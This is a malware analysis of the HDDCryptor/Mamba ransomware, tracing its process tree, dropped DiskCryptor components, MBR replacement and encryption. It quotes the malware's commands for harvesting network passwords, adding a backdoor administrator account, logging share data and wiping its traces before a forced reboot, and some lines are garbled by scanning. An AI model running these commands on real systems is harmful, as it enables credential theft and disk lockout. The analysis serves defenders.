# HDDCRYPTOR / MAMBA RANSOMWARE



# SUMMARY

There are several malicious payloads that affect the MBR and MFT of a machine. Recently we noticed WanaCry, Petya / NotPetya. HDDCryptor (AKA Mamba) is one of those payloads. However its different in a way as it carries a Full Disk Encryption program that encrypts the disk and locks a user out at boot. Disk encryption used is commercially available as well. Shamoon also used a commercially available RawDisk driver developed by EldoS Corporation.

Let's look at the flow

- First stage consists of a 32 bit binary that requires admin credentials to function properly
- Admin credentials are obtained either via keyLogger, maybe Brute-forced or by leveraging an exploit. However I din't notice any exploit code path.
- It drops multiple executables including DLL's
- It creates a service
- MBR is replaced with a custom one.
- Machine is rebooted
- Custom MBR shows the ransom message

# Malware was recently found in Kingdom of Saudi Arabia.

# HDDCRYPTOR / MAMBA

# PAYLOAD

First stage is a 32 bit executable that drops multiple components under C:\DC22



Payload doesn't require internet connection. It drops all the files without using the internet. On execution user gets an elevation prompt. It spawns itself and then creates a service.

[ UDURRANI ]				BAD GUY
[07-16-2017-19-45-48]-> cmd.exe	3564	Parent ->	3344	procCommand.exe
[07-16-2017-19-46-31]-> dllhost.exe	2548	Parent ->	604	svchost.exe
[07-16-2017-19-46-34]-> wTemp.exe	3120	Parent ->	2812	explorer.exe
*** C:\Users\foo\Desktop\wTemp.exg				
WIN-RN4A1D7IM6L,wTemp.exe,"C:\Users\foo\Øes	ktop\wTemp.exe	,3120		
[07-16-2017-19-46-34]-> conhost.exe	3524	Parent ->	392	csrss.exe
[07-16-2017-19-46-45]-> consent.exe	864	Parent ->	960	svchost.exe
[07-16-2017-19-46-47]-> dllhost.exe /	204	Parent ->	604	svchost.exe
[07-16-2017-19-46-47]-> dllhost.exe /	2996	Parent ->	604	svchost.exe
[07-16-2017-19-46-47]-> cmd.exe	2680	PARENT ->	2812	explorer.exe
[07-16-2017-19-46-47]-> conhost.exe	1092	Parent ->	392	csrss.exe
[07-16-2017-19-47-09]-> PAYLOAD.exe	1388	PARENT ->	2680	cmd.exe ///
[07-16-2017-19-47-39]-> PAYLOAD.exe	3812	Parent ->	1388	(null) / / /
[07-16-2017-19-47-39]-> conhost.exe	1932	PARFNT ->	392	CSPSS.exe
[07-16-2017-19-47-54]-> cmd.exe	3736	PARENT ->	3812	PAYLOAD.exe
[07-16-2017-19-47-54]-> schtasks.exe	2016	Parent ->	3736	cmd.exe
[07-16-2017-19-47-59]-> cmd.exe	3604	PARENT ->	3812	PAYLOAD, exe
[07-16-2017-19-47-59]-> schtasks.exe	3992	PARENT ->	3604	cmd.exe
[07-16-2017-19-48-00]-> cmd.exe	3880	PARENT ->	3812	PAYLOAD.exe

#### **COMMANDS FLOW**

C:\DC22\dcinst.exe -setup C:\Windows\system32\cmd.exe /c schtasks /create /tn DefragmentService /TR "cmd.exe /c net use >> cC\dc22\netuse.txt" /sc DAILY schtasks /create /tn DefragmentService /TR "cmd.exe /c net use >> c:\dc22\netuse.txt" /sc DAILY C:\Windows\system32\cmd.exe /c schtasks /run /TN DefragmentService schtasks /run /TN DefragmentService C:\Windows\system32\cmd.exe /c schtasks /delete /TN DefragmentService /F schtasks /delete /TN DefragmentService /F C:\Windows\system32\cmd.exe /c C:\DC22\netpass.exe /stab C:\DC22\netpass.txt C:\DC22\netpass.exe /stab C:\DC22\netpass.txt LogonUI.exe /flags:0x0 (REBOOT)

As you can see the flow, it does multiple things that includes creating service(s) followed by a reboot.



Dropped file dcrypt.exe (DiskCryptor) is responsible to encrypt the hardDisk.

DiskCryptor 1.1.846.1	18	_				X
File Volumes Tools	Help				Hom	epage
Disk Drives					Mount	
	Size	Label Type	Status	[		
🖃 VMware, VMware Vir	tual S				Encrypt	
<u> </u>	29.9 GB	NTFS	encrypt 07%	boot, sys	Decrypt	
INECVMWar VMware	0 bytes					
E3 5	00,00				Mount All	
					Unmount All	

**Encryption**:

Sector: 43601924		Total Se	ctors: 62910464	ł
Done: Speed:	20.7 gb 104.1 mb/sec.	Estimated: Elapsed:	1 min., 30 sec. 7 min., 49 sec.	

Symbolic Link	\\?\Volume{8393a374-2faf-11e6-b25e-806e6f6e6963}
Device	\Device\HarddiskVolume1
Cipher Encryption mode Pkcs5.2 prf	

# **MBR MODIFICATION**

Payload will eventually modify the MBR and replace it with a custom MBR. Custom MBR will show the ransom message and ask user for the password. Without the password one can't load the real OS.

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Once the machine is rebooted, user gets the following ransom message: At this stage the whole HDD and drives are encrypted



# LET'S LOOK AT THE MALICIOUS COMPONENTS:



All these files are used to encrypt the HDD, scan for network drives etc.

# DCAPI.DLL

CreateMutexW (0x0, 0x0, u"DISKCRYPTOR\_MUTEX"); static HANDLE = CreateMutex(NULL, FALSE, L"DISKCRYPTOR\_MUTEX"); CreateFileW (u"\\.\dcrypt", 0x0, 0x0, 0x0); a\_keyfiles(dc\_pass \*pass, wchar\_t \*path) mbr\_sec = malloc(dg->BytesPerSector) WriteFile(h\_device, mbr\_sec, dg->BytesPerSector, &bytes, NULL); SYSTEM\CurrentControlSet\Services\dcrypt\config dcrypt.sys u"\\.\PhysicalDrive%d" GetProcAddress(rax, "Format"); LoadLibrary("fmifs.dll"); Format = (void \*) GetProcAddress(GetModuleHandle("fmifs.dll"),

# DCCON.EXE

This binary is the console version of DiskCryptor. It requires a key and a parameter on command line. It can also wipe cached passwords from driver's memory and add password to the passwords cache, for auto mount reasons

rax = u"reboot system"; rcx = u"boot from active partition"; u"boot from unknown partition, id %0.8x" u"boot from unknown partition, id %0.8x" wprintf(u"Bootloader successfully removed from %s\n");

DCCON.EXE is a signed binary and is used to install the custom bootLoader (-setmbr). it uses the following values dc\_dsk\_get\_size, c\_format\_byte\_size, dc\_get\_mbr\_config,

•••••••							
[0036FF14]->	(null)						
[0036FF281->	VeriSign Class 3 Code Signing 2010 CA						
[0036FF2C1->	ReactOS Foundation						
[0036FF18]->	(null)						
[0036FF1C]->	(null)						
[00FF2180]->	Øb 9e 9e d1 32 53 18 2a 96 07 81 90 43 67 cc Øf 👘						

L"0 - On/Off passwords caching (%s)\n" L"1 - On/Off hiding \$dcsys\$ files (%s)\n" L"2 - On/Off hardware cryptography support (%s)\n" L"3 - On/Off automounting at boot time (%s)\n" L"4 - On/Off optimization for SSD disks (%s)\n" L"5 - On/Off disable TRIM on encrypted SSD disks (%s)\n" L"------\n" L"6 - On/Off Deny access to unencrypted removable devices (%s)\n" L"7 - On/Off Deny access to unencrypted HDD's (%s)\n" L"8 - On/Off Deny access to unencrypted CDROM (%s)\n" L"-----\n" L"9 - Save changes and exit\n\n",

### MOUNT.EXE

Mainly used to enumerate mounted drives. It scans network drives and encrypts them. It creates two files i.e. netpass.txt and netuse.txt for storing the passwords and log messages

CreateFileA("C:\DC22\netpass.txt", 0x80000000, 0x1, 0x0, 0x3, 0x0, 0x0); CreateFileA("C:\DC22\netuse.txt", 0x80000000, 0x1, 0x0, 0x3, 0x0, 0x0);

installing driver... installing driver successfully.. getting share drive information... Trying to create service... creating service successfully. rebooting windows...

Properties		23
Item Name:		
Туре:	Autologon Password	
User:		
Password:	foo	
Last Written :	N/A	
Alias:		
Comment:		
Persist:		
Password Strength:	Weak	
	0	<

mov	ecx, 0x42b698	; "mount:start"
sub_for	0	
mov call	ecx, 0x42b6a8 sub_foo	; "pass:"
call mov	dword [ds:imp_MultiByteToWide ecx, 0x42b6b0	Char] // MultiByteToWideChar() ; "mount:start encrypting share drives"

**NETPASS.exe** is used to retrieve network passwords stored in the system. This information is saved in a text file shown above netpass.txt. On the other hand netuse.txt will have all the network share information.

#### DCRYPT.SYS is the DiskCryptor driver



It uses the following encryption types

{ CF_AES,	0xd5faad12,	<pre>0xf78e1ee6 },</pre>
{ CF_TWOFISH,	0x63f53fab,	<pre>0xf0bf3fe2 },</pre>
{ CF_SERPENT,	0xc63098ff,	<pre>0xa27615ad },</pre>
{ CF_AES_TWOFISH,	0xeb80c77a,	<pre>0x05c1f39c },</pre>
{ CF_TWOFISH_SERPENT,	0x1f5b5c3a,	<pre>0x533b76ca },</pre>
{ CF_SERPENT_AES,	0x1604a6b2,	<pre>0x637378c7 },</pre>
{ CF_AES_TWOFISH_SERPENT,	0x48deea37,	0x02b2a064 }

DCINST.EXE is used to install or update the driver and uses the following options

- -setup // install or update driver (update bootloader when needed)
- -unins // uninstall driver
- -unldr // uninstall bootloader
- -isenc // check for boot device encryption
- -isboot // check for bootloader on boot device

For encryption AES algorithm is used:

0x52000000,	0×09000000,	0x6a000000,	0xd5000000,	0x30000000,	0x36000000,	0xa5000000,	0x38000000
0xbf000000,	0x40000000,	0xa3000000,	0x9e000000,	0x81000000,	0xf3000000,	0xd7000000,	0xfb000000
0x7c000000,	0xe3000000,	0x39000000,	0x82000000,	0x9b000000,	0x2f000000,	0xff000000,	0x87000000
0x34000000,	0x8e000000,	0x43000000,	0x44000000,	0xc4000000,	0xde000000,	0xe9000000,	0xcb000000
0x54000000,	0x7b000000,	0x94000000,	0x32000000,	0xa6000000,	0xc2000000,	0x23000000,	0x3d000000
0xee000000,	0x4c000000,	0x95000000,	0x0b000000,	0x42000000,	0xfa000000,	0xc3000000,	0x4e000000
0×08000000,	0x2e000000,	0xa1000000,	0x66000000,	0x28000000,	0xd9000000,	0x24000000,	0xb2000000
0x76000000,	0x5b000000,	0xa2000000,	0x49000000,	0x6d000000,	0x8b000000,	0xd1000000,	0x25000000
0x72000000,	0xf8000000,	0xf6000000,	0x64000000,	0x86000000,	0x68000000,	0×98000000,	0x16000000
0xd4000000,	0xa4000000,	0x5c000000,	0xcc000000,	0x5d000000,	0x65000000,	0xb6000000,	0x92000000
0x6c000000,	0×70000000,	0x48000000,	0x50000000,	0xfd000000,	0xed000000,	0xb9000000,	0xda000000
0x5e000000,	0x15000000,	0x46000000,	0x57000000,	0xa7000000,	0x8d000000,	0x9d000000,	0x84000000
0×90000000,	0xd8000000,	0xab000000,	0×00000000,	0x8c000000,	0xbc000000,	0xd3000000,	0x0a000000
0xf7000000,	0xe4000000,	0x58000000,	0x05000000,	0xb8000000,	0xb3000000,	0x45000000,	0×06000000,
0xd0000000,	0x2c000000,	0x1e000000,	0x8f000000,	0xca000000,	0x3f000000,	0x0f000000,	0×02000000
0xc1000000,	0xaf000000,	0xbd000000,	0x03000000,	0x01000000,	0x13000000,	0x8a000000,	0x6b000000
0x3a000000,	0×91000000,	0×11000000,	0x41000000,	0x4f000000,	0x67000000,	0xdc000000,	0xea000000
0×97000000,	0xf2000000,	0xcf000000,	0xce000000,	0xf0000000,	0xb4000000,	0xe6000000,	0x73000000,
0×96000000,	0xac000000,	0x74000000,	0x22000000,	0xe7000000,	0xad000000,	0x35000000,	0x85000000
0xe2000000,	0xf9000000,	0x37000000,	0xe8000000,	0x1c000000,	0x75000000,	0xdf000000,	0x6e000000,
0x47000000,	0xf1000000,	0x1a000000,	0x71000000,	0x1d000000,	0x29000000,	0xc5000000,	0×89000000
0x6f000000,	0xb7000000,	0x62000000,	0x0e000000,	0xaa000000,	0x18000000,	0xbe000000,	0x1b000000,
0xfc000000,	0x56000000,	0x3e000000,	0x4b000000,	0xc6000000,	0xd2000000,	0×79000000,	0x20000000
0x9a000000,	0xdb000000,	0xc0000000,	0xfe000000,	0x78000000,	0xcd000000,	0x5a000000,	0xf4000000,
0x1f000000,	0xdd000000,	0xa8000000,	0x33000000,	0x88000000,	0x07000000,	0xc7000000,	0x31000000
0xb1000000,	0x12000000,	0×10000000,	0x59000000,	0x27000000,	0x80000000,	0xec000000,	0x5f000000,
0x60000000,	0x51000000,	0x7f000000,	0xa9000000,	0x19000000,	0xb5000000,	0x4a000000,	0x0d000000
0x2d000000,	0xe5000000,	0x7a000000,	0x9f000000,	0x93000000,	0xc9000000,	0x9c000000,	0xef000000,
0xa0000000,	0xe0000000,	0x3b000000,	0x4d000000,	0xae000000,	0x2a000000,	0xf5000000,	0xb0000000
0xc8000000,	0xeb000000,	0xbb000000,	0x3c000000,	0x83000000,	0x53000000,	0×99000000,	0x61000000
0×17000000,	0x2b000000,	0x04000000,	0x7e000000,	0xba000000,	0x77000000,	0xd6000000,	0x26000000
0xe1000000,	0×69000000,	0x14000000,	0x63000000,	0x55000000,	0x21000000,	0x0c000000,	0x7d000000,

void \_stdcall aes256\_set\_key(const unsigned char \*key, aes256\_key \*skey)
{
 unsigned long \*ek, \*dk;
 int j, i;
 unsigned long t, rcon;
 ek = skey->enc\_key;
 i = 7; rcon = 1;
 memcpy(ek, key, AES\_KEY\_SIZE);
 do
 {
 ek[ 8] = ek[0] ^ key\_mix(ek[7]) ^ rcon;
 ek[ 9] = ek[1] ^ ek[ 8];
 ek[10] = ek[2] ^ ek[ 9];
 ek[11] = ek[3] ^ ek[10];
 }

Payload maintains the log as well.

```
Checking resources existence. They are OK...
copy resource file..
driver installed before...
installing driver...
failed to copy file and exit..
Password not set.exit
C:\DC22\netpass.txt
getting share drive information...
schtasks /create /tn DefragmentService /TR "cmd.exe /c net use >> c:\dc22\netuse.txt" /sc DAILY
schtasks /run /TN DefragmentService
schtasks /delete /TN DefragmentService /F
C:\DC22\netpass.exe /stab C:\DC22\netpass.txt
net user /add mythbusters 123456
net localgroup administrators mythbusters /add
cmd /c net use >> c:\dc22\netuse.txt
Trying to create service..
creating service successfully. rebooting windows...
starting serviceMain...
ServiceMain: Entry
ServiceMain: RegisterServiceCtrlHandler returned error ServiceMain: SetServiceStatus returned error
ServiceMain: Performing Service Start Operations
ServiceMain: CreateEvent(g_ServiceStopEvent) returned error
ServiceMain: SetServiceStatus returned error
ServiceMain: Waiting for Worker Thread to complete
ServiceMain: Worker Thread Stop Event signaled
ServiceMain: Performing Cleanup Operations
ServiceMain: Exit
ServiceCtrlHandler: Entry
ServiceCtrlHandler: SERVICE_CONTROL_STOP Request
ServiceCtrlHandler: SetServiceStatus returned error
ServiceCtrlHandler: Exit
ServiceWorkerThread: Entry
Starting Mount app...
C:\DC22\Mount.exe
open
LogonUserW_FAILURE
PXERR_IMPERSONATION_FAILURE
start hard drive encryption...
time limit passed.doing clean-up and reboot...
/C ping 1.1.11 -n 1 -w 3000 > Nul & sc delete DefragmentService & Del "
& taskkill /im Mount.exe & Del "C:\DC22\Mount.exe" & Del "C:\DC22\netpass.txt" & Del "C:\DC22\netuse.txt" & Del "C:\DC22\netpass.exe" & net user /del mythbusters
 & shutdown /f /r /t 0
```

#### **CONCLUSION**

It's a pretty complex piece of ransomware that requires escalated privileges, which could be obtained in multiple ways. Recently we have seen OS level exploits in action. Make sure your systems are patched. Use of a good end-point solution is necessary. Last but not least hire good security folks.